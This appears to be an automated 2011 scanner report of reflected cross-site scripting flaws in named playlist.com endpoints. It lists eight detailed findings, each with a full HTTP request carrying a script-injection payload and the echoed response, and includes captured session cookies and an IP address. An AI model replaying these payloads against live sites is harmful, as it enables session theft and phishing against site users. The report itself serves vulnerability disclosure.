XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, playlist.com

Report generated by XSS.CX at Mon Sep 05 20:39:38 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |
Loading

1. Cross-site scripting (reflected)

XSS in playlist.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86, BHDB, Javascript Injection, Insecure Programming, Weak Configuration, Browser Hijacking, Phishing

1.1. http://www.playlist.com/api/user/login [REST URL parameter 2]

1.2. http://www.playlist.com/api/user/login [REST URL parameter 2]

1.3. http://www.playlist.com/api/user/login [REST URL parameter 3]

1.4. http://www.playlist.com/api/user/login [REST URL parameter 3]

1.5. http://www.playlist.com/async/searchbeta/tracks [REST URL parameter 2]

1.6. http://www.playlist.com/async/searchbeta/tracks [REST URL parameter 2]

1.7. http://www.playlist.com/async/searchbeta/tracks [REST URL parameter 3]

1.8. http://www.playlist.com/async/searchbeta/tracks [REST URL parameter 3]

1.9. http://www.playlist.com/searchbeta/tracks [REST URL parameter 2]

1.10. http://www.playlist.com/searchbeta/tracks [REST URL parameter 2]

2. Flash cross-domain policy

3. Cookie scoped to parent domain

3.1. http://www.playlist.com/prod/scripts/67/opt/std_opt.js

3.2. http://www.playlist.com/scripts/remote_logger.js

4. Cross-domain Referer leakage

5. Cross-domain script include

5.1. http://www.playlist.com/

5.2. http://www.playlist.com/prod/scripts/67/opt/std_opt.js

5.3. http://www.playlist.com/searchbeta/tracks

6. Cookie without HttpOnly flag set

6.1. http://www.playlist.com/prod/scripts/67/opt/std_opt.js

6.2. http://www.playlist.com/scripts/remote_logger.js

7. Robots.txt file

8. HTML does not specify charset

8.1. http://www.playlist.com/scomplete/x.html

8.2. http://www.playlist.com/scomplete/x/s.html

8.3. http://www.playlist.com/scomplete/x/s/s.html

9. Content type incorrectly stated

9.1. http://www.playlist.com/api/user/login

9.2. http://www.playlist.com/async/searchbeta/tracks

9.3. http://www.playlist.com/scomplete/x.html

9.4. http://www.playlist.com/scomplete/x/s.html



1. Cross-site scripting (reflected)  next
There are 10 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.playlist.com/api/user/login [REST URL parameter 2]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.playlist.com
Path:   /api/user/login

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript rest-of-line comment. The payload 309b1</script><script>alert(1)</script>86047371b2bd407ac was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /api/user309b1</script><script>alert(1)</script>86047371b2bd407ac/login?cc=&app=wid%5Fse HTTP/1.1
Host: www.playlist.com
Proxy-Connection: keep-alive
Referer: http://www.playlist.com/prod/players/1082/searchplayer.swf
Origin: http://www.playlist.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SSLB=A; PHPSESSID=46aidea0pqb5o6aic0ji80nirb8vrm7h; nuid=CgABmE5lP5gcowuJEfELAg==; __qca=P0-988598008-1315276269543; ppls=%7B%22agent%22%3A%22Mozilla5.0WindowsNT6.1%3BWOW64AppleWebKit535.1KHTML%2ClikeGeckoChrome13.0.782.220Safari535.1%22%2C%22ts%22%3A1315258449%2C%22ip%22%3A%2250.23.123.106%22%2C%22hash%22%3A%22b9c929526582ed85ac50b5774170b5b3db76c779e0dd6c00b76ad7e12d675a71fddc18578ae64b0d3cd78573541ab7a57b%22%7D; __unam=fb7ece9-1323c95f43f-6314a5f8-1; __utma=172958434.689339401.1315276270.1315276270.1315276270.1; __utmb=172958434.7.9.1315276457371; __utmc=172958434; __utmz=172958434.1315276270.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=music; __utmv=172958434.lload

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.61
Date: Mon, 05 Sep 2011 21:35:15 GMT
Content-Type: text/html;charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store
Pragma: no-cache
X-Robots-Tag: index, follow
Content-Language:
Vary: Accept-Encoding
Content-Length: 13130


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.c
...[SNIP]...
L.script.load( document.location.protocol == "https:" ? "https://sb" : "http://b" + ".scorecardresearch.com/beacon.js", PPL.script.comscore_analytics );

           //PPL.script.ga_page = '/page_not_found/user309b1</script><script>alert(1)</script>86047371b2bd407ac/login';;
           //PPL.script.load( "http://www.google-analytics.com/ga.js", PPL.script.google_analytics) ;
           PPL.script.filename = null;            PPL.script.load( "http://edge.quantserve.com/quant.js", PPL.scr
...[SNIP]...

1.2. http://www.playlist.com/api/user/login [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.playlist.com
Path:   /api/user/login

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 38cb1</script><script>alert(1)</script>b262e9ef302685333 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /api/user38cb1</script><script>alert(1)</script>b262e9ef302685333/login?cc=&app=wid%5Fse HTTP/1.1
Host: www.playlist.com
Proxy-Connection: keep-alive
Referer: http://www.playlist.com/prod/players/1082/searchplayer.swf
Origin: http://www.playlist.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SSLB=A; PHPSESSID=46aidea0pqb5o6aic0ji80nirb8vrm7h; nuid=CgABmE5lP5gcowuJEfELAg==; __qca=P0-988598008-1315276269543; ppls=%7B%22agent%22%3A%22Mozilla5.0WindowsNT6.1%3BWOW64AppleWebKit535.1KHTML%2ClikeGeckoChrome13.0.782.220Safari535.1%22%2C%22ts%22%3A1315258449%2C%22ip%22%3A%2250.23.123.106%22%2C%22hash%22%3A%22b9c929526582ed85ac50b5774170b5b3db76c779e0dd6c00b76ad7e12d675a71fddc18578ae64b0d3cd78573541ab7a57b%22%7D; __unam=fb7ece9-1323c95f43f-6314a5f8-1; __utma=172958434.689339401.1315276270.1315276270.1315276270.1; __utmb=172958434.7.9.1315276457371; __utmc=172958434; __utmz=172958434.1315276270.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=music; __utmv=172958434.lload

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.61
Date: Mon, 05 Sep 2011 21:35:09 GMT
Content-Type: text/html;charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store
Pragma: no-cache
X-Robots-Tag: index, follow
Content-Language:
Vary: Accept-Encoding
Content-Length: 13130


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.c
...[SNIP]...
r global_videosEnabled = 0;
var player_default_flashvars = "";
var SEARCH_VER = '2';
var Meebo;
var has_player = 0;
var has_adaptv = false;
var STIME = '1315258509';
var GA_PAGE = '/page_not_found/user38cb1</script><script>alert(1)</script>b262e9ef302685333/login';
var ENABLE_GOOGLE_SEARCH_ADS = 0;
var GOOGLE_ADTERMS = '';
var debug_security = '';var debug_solr = '';var debug_jstest = '';var debug_audioads = '';var debug_comp_ad = '';var debug_subscribed
...[SNIP]...

1.3. http://www.playlist.com/api/user/login [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.playlist.com
Path:   /api/user/login

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1e376</script><script>alert(1)</script>3627dbddbb451a0eb was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /api/user/login1e376</script><script>alert(1)</script>3627dbddbb451a0eb?cc=&app=wid%5Fse HTTP/1.1
Host: www.playlist.com
Proxy-Connection: keep-alive
Referer: http://www.playlist.com/prod/players/1082/searchplayer.swf
Origin: http://www.playlist.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SSLB=A; PHPSESSID=46aidea0pqb5o6aic0ji80nirb8vrm7h; nuid=CgABmE5lP5gcowuJEfELAg==; __qca=P0-988598008-1315276269543; ppls=%7B%22agent%22%3A%22Mozilla5.0WindowsNT6.1%3BWOW64AppleWebKit535.1KHTML%2ClikeGeckoChrome13.0.782.220Safari535.1%22%2C%22ts%22%3A1315258449%2C%22ip%22%3A%2250.23.123.106%22%2C%22hash%22%3A%22b9c929526582ed85ac50b5774170b5b3db76c779e0dd6c00b76ad7e12d675a71fddc18578ae64b0d3cd78573541ab7a57b%22%7D; __unam=fb7ece9-1323c95f43f-6314a5f8-1; __utma=172958434.689339401.1315276270.1315276270.1315276270.1; __utmb=172958434.7.9.1315276457371; __utmc=172958434; __utmz=172958434.1315276270.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=music; __utmv=172958434.lload

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.61
Date: Mon, 05 Sep 2011 21:35:25 GMT
Content-Type: text/html;charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store
Pragma: no-cache
X-Robots-Tag: index, follow
Content-Language:
Vary: Accept-Encoding
Content-Length: 13130


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.c
...[SNIP]...
al_videosEnabled = 0;
var player_default_flashvars = "";
var SEARCH_VER = '2';
var Meebo;
var has_player = 0;
var has_adaptv = false;
var STIME = '1315258525';
var GA_PAGE = '/page_not_found/user/login1e376</script><script>alert(1)</script>3627dbddbb451a0eb';
var ENABLE_GOOGLE_SEARCH_ADS = 0;
var GOOGLE_ADTERMS = '';
var debug_security = '';var debug_solr = '';var debug_jstest = '';var debug_audioads = '';var debug_comp_ad = '';var debug_subscribed = '';
...[SNIP]...

1.4. http://www.playlist.com/api/user/login [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.playlist.com
Path:   /api/user/login

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript rest-of-line comment. The payload d9f60</script><script>alert(1)</script>223b7c6c982c79bd0 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /api/user/logind9f60</script><script>alert(1)</script>223b7c6c982c79bd0?cc=&app=wid%5Fse HTTP/1.1
Host: www.playlist.com
Proxy-Connection: keep-alive
Referer: http://www.playlist.com/prod/players/1082/searchplayer.swf
Origin: http://www.playlist.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SSLB=A; PHPSESSID=46aidea0pqb5o6aic0ji80nirb8vrm7h; nuid=CgABmE5lP5gcowuJEfELAg==; __qca=P0-988598008-1315276269543; ppls=%7B%22agent%22%3A%22Mozilla5.0WindowsNT6.1%3BWOW64AppleWebKit535.1KHTML%2ClikeGeckoChrome13.0.782.220Safari535.1%22%2C%22ts%22%3A1315258449%2C%22ip%22%3A%2250.23.123.106%22%2C%22hash%22%3A%22b9c929526582ed85ac50b5774170b5b3db76c779e0dd6c00b76ad7e12d675a71fddc18578ae64b0d3cd78573541ab7a57b%22%7D; __unam=fb7ece9-1323c95f43f-6314a5f8-1; __utma=172958434.689339401.1315276270.1315276270.1315276270.1; __utmb=172958434.7.9.1315276457371; __utmc=172958434; __utmz=172958434.1315276270.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=music; __utmv=172958434.lload

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.61
Date: Mon, 05 Sep 2011 21:35:30 GMT
Content-Type: text/html;charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store
Pragma: no-cache
X-Robots-Tag: index, follow
Content-Language:
Vary: Accept-Encoding
Content-Length: 13130


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.c
...[SNIP]...
pt.load( document.location.protocol == "https:" ? "https://sb" : "http://b" + ".scorecardresearch.com/beacon.js", PPL.script.comscore_analytics );

           //PPL.script.ga_page = '/page_not_found/user/logind9f60</script><script>alert(1)</script>223b7c6c982c79bd0';;
           //PPL.script.load( "http://www.google-analytics.com/ga.js", PPL.script.google_analytics) ;
           PPL.script.filename = null;            PPL.script.load( "http://edge.quantserve.com/quant.js", PPL.script.qu
...[SNIP]...

1.5. http://www.playlist.com/async/searchbeta/tracks [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.playlist.com
Path:   /async/searchbeta/tracks

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript rest-of-line comment. The payload ce5d8</script><script>alert(1)</script>d0b933c392 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /async/searchbetace5d8</script><script>alert(1)</script>d0b933c392/tracks?searchfor=xss&page=1&facet=all&_=1315276455668 HTTP/1.1
Host: www.playlist.com
Proxy-Connection: keep-alive
Referer: http://www.playlist.com/searchbeta/tracks
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/javascript, application/javascript, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SSLB=A; PHPSESSID=46aidea0pqb5o6aic0ji80nirb8vrm7h; nuid=CgABmE5lP5gcowuJEfELAg==; __qca=P0-988598008-1315276269543; __utma=172958434.689339401.1315276270.1315276270.1315276270.1; __utmb=172958434.3.9.1315276449506; __utmc=172958434; __utmz=172958434.1315276270.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=music; __utmv=172958434.lload; ppls=%7B%22agent%22%3A%22Mozilla5.0WindowsNT6.1%3BWOW64AppleWebKit535.1KHTML%2ClikeGeckoChrome13.0.782.220Safari535.1%22%2C%22ts%22%3A1315258449%2C%22ip%22%3A%2250.23.123.106%22%2C%22hash%22%3A%22b9c929526582ed85ac50b5774170b5b3db76c779e0dd6c00b76ad7e12d675a71fddc18578ae64b0d3cd78573541ab7a57b%22%7D; __unam=fb7ece9-1323c95f43f-6314a5f8-1

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.61
Date: Mon, 05 Sep 2011 21:35:28 GMT
Content-Type: text/html;charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store
Pragma: no-cache
X-Robots-Tag: index, follow
Content-Language:
Vary: Accept-Encoding
Content-Length: 13130


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.c
...[SNIP]...
pt.load( document.location.protocol == "https:" ? "https://sb" : "http://b" + ".scorecardresearch.com/beacon.js", PPL.script.comscore_analytics );

           //PPL.script.ga_page = '/page_not_found/searchbetace5d8</script><script>alert(1)</script>d0b933c392/tracks';;
           //PPL.script.load( "http://www.google-analytics.com/ga.js", PPL.script.google_analytics) ;
           PPL.script.filename = null;            PPL.script.load( "http://edge.quantserve.com/quant.js", PPL.sc
...[SNIP]...

1.6. http://www.playlist.com/async/searchbeta/tracks [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.playlist.com
Path:   /async/searchbeta/tracks

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c6e9c</script><script>alert(1)</script>07279998efc was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /async/searchbetac6e9c</script><script>alert(1)</script>07279998efc/tracks?searchfor=xss&page=1&facet=all&_=1315276455668 HTTP/1.1
Host: www.playlist.com
Proxy-Connection: keep-alive
Referer: http://www.playlist.com/searchbeta/tracks
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/javascript, application/javascript, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SSLB=A; PHPSESSID=46aidea0pqb5o6aic0ji80nirb8vrm7h; nuid=CgABmE5lP5gcowuJEfELAg==; __qca=P0-988598008-1315276269543; __utma=172958434.689339401.1315276270.1315276270.1315276270.1; __utmb=172958434.3.9.1315276449506; __utmc=172958434; __utmz=172958434.1315276270.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=music; __utmv=172958434.lload; ppls=%7B%22agent%22%3A%22Mozilla5.0WindowsNT6.1%3BWOW64AppleWebKit535.1KHTML%2ClikeGeckoChrome13.0.782.220Safari535.1%22%2C%22ts%22%3A1315258449%2C%22ip%22%3A%2250.23.123.106%22%2C%22hash%22%3A%22b9c929526582ed85ac50b5774170b5b3db76c779e0dd6c00b76ad7e12d675a71fddc18578ae64b0d3cd78573541ab7a57b%22%7D; __unam=fb7ece9-1323c95f43f-6314a5f8-1

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.61
Date: Mon, 05 Sep 2011 21:35:21 GMT
Content-Type: text/html;charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store
Pragma: no-cache
X-Robots-Tag: index, follow
Content-Language:
Vary: Accept-Encoding
Content-Length: 13133


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.c
...[SNIP]...
al_videosEnabled = 0;
var player_default_flashvars = "";
var SEARCH_VER = '2';
var Meebo;
var has_player = 0;
var has_adaptv = false;
var STIME = '1315258521';
var GA_PAGE = '/page_not_found/searchbetac6e9c</script><script>alert(1)</script>07279998efc/tracks';
var ENABLE_GOOGLE_SEARCH_ADS = 0;
var GOOGLE_ADTERMS = '';
var debug_security = '';var debug_solr = '';var debug_jstest = '';var debug_audioads = '';var debug_comp_ad = '';var debug_subscribe
...[SNIP]...

1.7. http://www.playlist.com/async/searchbeta/tracks [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.playlist.com
Path:   /async/searchbeta/tracks

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript rest-of-line comment. The payload 62b13</script><script>alert(1)</script>abfc35394e was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /async/searchbeta/tracks62b13</script><script>alert(1)</script>abfc35394e?searchfor=xss&page=1&facet=all&_=1315276455668 HTTP/1.1
Host: www.playlist.com
Proxy-Connection: keep-alive
Referer: http://www.playlist.com/searchbeta/tracks
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/javascript, application/javascript, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SSLB=A; PHPSESSID=46aidea0pqb5o6aic0ji80nirb8vrm7h; nuid=CgABmE5lP5gcowuJEfELAg==; __qca=P0-988598008-1315276269543; __utma=172958434.689339401.1315276270.1315276270.1315276270.1; __utmb=172958434.3.9.1315276449506; __utmc=172958434; __utmz=172958434.1315276270.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=music; __utmv=172958434.lload; ppls=%7B%22agent%22%3A%22Mozilla5.0WindowsNT6.1%3BWOW64AppleWebKit535.1KHTML%2ClikeGeckoChrome13.0.782.220Safari535.1%22%2C%22ts%22%3A1315258449%2C%22ip%22%3A%2250.23.123.106%22%2C%22hash%22%3A%22b9c929526582ed85ac50b5774170b5b3db76c779e0dd6c00b76ad7e12d675a71fddc18578ae64b0d3cd78573541ab7a57b%22%7D; __unam=fb7ece9-1323c95f43f-6314a5f8-1

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.61
Date: Mon, 05 Sep 2011 21:35:42 GMT
Content-Type: text/html;charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store
Pragma: no-cache
X-Robots-Tag: index, follow
Content-Language:
Vary: Accept-Encoding
Content-Length: 13130


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.c
...[SNIP]...
( document.location.protocol == "https:" ? "https://sb" : "http://b" + ".scorecardresearch.com/beacon.js", PPL.script.comscore_analytics );

           //PPL.script.ga_page = '/page_not_found/searchbeta/tracks62b13</script><script>alert(1)</script>abfc35394e';;
           //PPL.script.load( "http://www.google-analytics.com/ga.js", PPL.script.google_analytics) ;
           PPL.script.filename = null;            PPL.script.load( "http://edge.quantserve.com/quant.js", PPL.script.qu
...[SNIP]...

1.8. http://www.playlist.com/async/searchbeta/tracks [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.playlist.com
Path:   /async/searchbeta/tracks

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2ffd3</script><script>alert(1)</script>10713de466b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /async/searchbeta/tracks2ffd3</script><script>alert(1)</script>10713de466b?searchfor=xss&page=1&facet=all&_=1315276455668 HTTP/1.1
Host: www.playlist.com
Proxy-Connection: keep-alive
Referer: http://www.playlist.com/searchbeta/tracks
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/javascript, application/javascript, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SSLB=A; PHPSESSID=46aidea0pqb5o6aic0ji80nirb8vrm7h; nuid=CgABmE5lP5gcowuJEfELAg==; __qca=P0-988598008-1315276269543; __utma=172958434.689339401.1315276270.1315276270.1315276270.1; __utmb=172958434.3.9.1315276449506; __utmc=172958434; __utmz=172958434.1315276270.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=music; __utmv=172958434.lload; ppls=%7B%22agent%22%3A%22Mozilla5.0WindowsNT6.1%3BWOW64AppleWebKit535.1KHTML%2ClikeGeckoChrome13.0.782.220Safari535.1%22%2C%22ts%22%3A1315258449%2C%22ip%22%3A%2250.23.123.106%22%2C%22hash%22%3A%22b9c929526582ed85ac50b5774170b5b3db76c779e0dd6c00b76ad7e12d675a71fddc18578ae64b0d3cd78573541ab7a57b%22%7D; __unam=fb7ece9-1323c95f43f-6314a5f8-1

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.61
Date: Mon, 05 Sep 2011 21:35:37 GMT
Content-Type: text/html;charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store
Pragma: no-cache
X-Robots-Tag: index, follow
Content-Language:
Vary: Accept-Encoding
Content-Length: 13133


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.c
...[SNIP]...
osEnabled = 0;
var player_default_flashvars = "";
var SEARCH_VER = '2';
var Meebo;
var has_player = 0;
var has_adaptv = false;
var STIME = '1315258537';
var GA_PAGE = '/page_not_found/searchbeta/tracks2ffd3</script><script>alert(1)</script>10713de466b';
var ENABLE_GOOGLE_SEARCH_ADS = 0;
var GOOGLE_ADTERMS = '';
var debug_security = '';var debug_solr = '';var debug_jstest = '';var debug_audioads = '';var debug_comp_ad = '';var debug_subscribed = '';
...[SNIP]...

